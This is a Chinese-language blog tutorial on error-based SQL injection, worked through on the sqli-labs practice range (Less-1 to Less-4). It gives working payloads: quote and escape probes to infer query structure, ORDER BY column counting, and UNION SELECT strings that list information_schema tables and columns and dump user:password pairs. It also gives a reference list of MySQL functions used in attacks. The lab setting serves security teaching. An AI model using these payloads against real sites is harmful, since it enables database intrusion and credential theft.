SQL注入之基于报错的注入

目录

1.GET单引号字符型

2.GET数字型

3.GET单引号加括号字符型

4.GET双引号字符型

5.注入利用

5.1利用order by判断字段

5.2利用联合查询查找信息


1.GET单引号字符型

首先我们打开搭建好的sqli-labs靶场,选择less-1

 进入后我们看到这样一行提示

 请输入一个id值作为对应参数,这里我输入1作为参数,验证后1-14均可以回显

 输入后login name 和password都显现出来

我们输入单引号

这里显示错误,我们将错误回显记录下来

'1'' limit 0,1

 由此我们可以猜解出SQL语句为

select login_name,password from 某个表 where id ='id' limit 0,1

2.GET数字型

我们选择less-2

一样的方法输入一个参数,看显示(结果与1一样),然后在加入一个单引号,得到如下结果

这里也将错误回显记录下来

'limit 0,1

由此我们可以 猜解SQL语句为

select login_name,password from 某个表 where id=id limit 0,1

3.GET单引号加括号字符型

此时选择less-3

 一样的方法输入一个参数,看显示(结果与1一样),然后在加入一个单引号,得到如下结果

 这里仍然将错误回显记录下来

'1'') limit 0,1

此时我们猜解SQL语句为

select login_name,password from 某个表 where id=('id') limit 0,1

4.GET双引号字符型

这里选择less-4

 操作不变,前面返回相同,输入单引号后,返回结果如下

毫无变化,在加入括号试试

可以看到依然是毫无变化 ,这个时候就该思考是用""闭合输入,输入的任何数据都会被当作字符串处理,所以不会报错,这时我们可以使用转义符\进行检测

可以看到这时的错误就回显出来了

依旧是将错误回显记录下来

"1\") limit 0,1

 从这里我们就可以判断SQL语句是

select login_name,password from 某个表 where id=("id") limit 0,1

5.注入利用

5.1利用order by判断字段

这里我们以less-1为例子,首先我们先观察less-1的SQL语句

select login_name,password from 某个表 where id='id' limit 0,1 观察注入点后我们要构造以下语句

select login_name,password from 某个表 where id='id' order by 猜解的字段数 --+limit 0,1,加号也可以是%20(空格的意思)

那么我们要输入的语句就是 ' order by 字段数 --+,输入后开始猜解字段数

 通过几次判断发现3可以,4不行,则这个字段数就为3

5.2利用联合查询查找信息

(联合查询有两个限制内容,查询结果须有相同的列(字段数),相同位置的列有相同的数据类型)

此时我们需要判断显示位,即可以利用的地方

构造select login_name,password from 某个表 where id='id' union select 1,2,3 --+

此时的id应该报错处理,令id=0,因为联合查询的回显只会回显一个,前面的需要报错来让后面的语句显现,输入后得出如下结果

 此时可以看到供利用的位为2,3

然后继续构造语句查询版本信息version(),登录名user(),数据库名database()

 可以得出数据库名为security,登录名为root,版本是5.7.26

以下扩充下知识,mysql5.x版本以上默认有information_schema数据库

version()                # mysql 数据库版本
database()                # 当前数据库名
user()                    # 用户名
current_user()            # 当前用户名
system_user()            # 系统用户名
@@datadir                # 数据库路径
@@version_compile_os    # 操作系统版本
length()                # 返回字符串的长度                     
substr()                # 截取字符串
left()                    # 从左侧开始取指定字符个数的字符串
concat()                    # 没有分隔符的连接字符串
concat_ws()              # 含有分割符的连接字符串
group_conat()           # 连接一个组的字符串
hex()                    # 将字符串转换为十六进制
unhex()                    # hex 的反向操作
md5()                    # 返回MD5 值
floor(x)                # 返回不大于x 的最大整数
round()                    # 返回参数x 接近的整数
rand()                    # 返回0-1 之间的随机浮点数
load_file()                # 读取文件,并返回文件内容作为一个字符串
sleep()                    # 睡眠时间为指定的秒数
if(true,t,f)              # if 判断
find_in_set()            # 返回字符串在字符串列表中的位置
benchmark()                # 指定语句执行的次数

column()               #指定列名

0x3a                #冒号十六进制表示

接下来则就是爆表名,列名

构造语句

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'(这个就是数据库)

得出表名分别为 emails,referers,uagents,users

接下来查找列名,构造语句

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails'

 当然我们最关心的是用户的账号密码啥的,所以构造语句

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

得到回显列名

查询具体数据(密码)

构造如下语句

?id' union select 1,group_concat(user,0x3a,password),3 from users --+

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值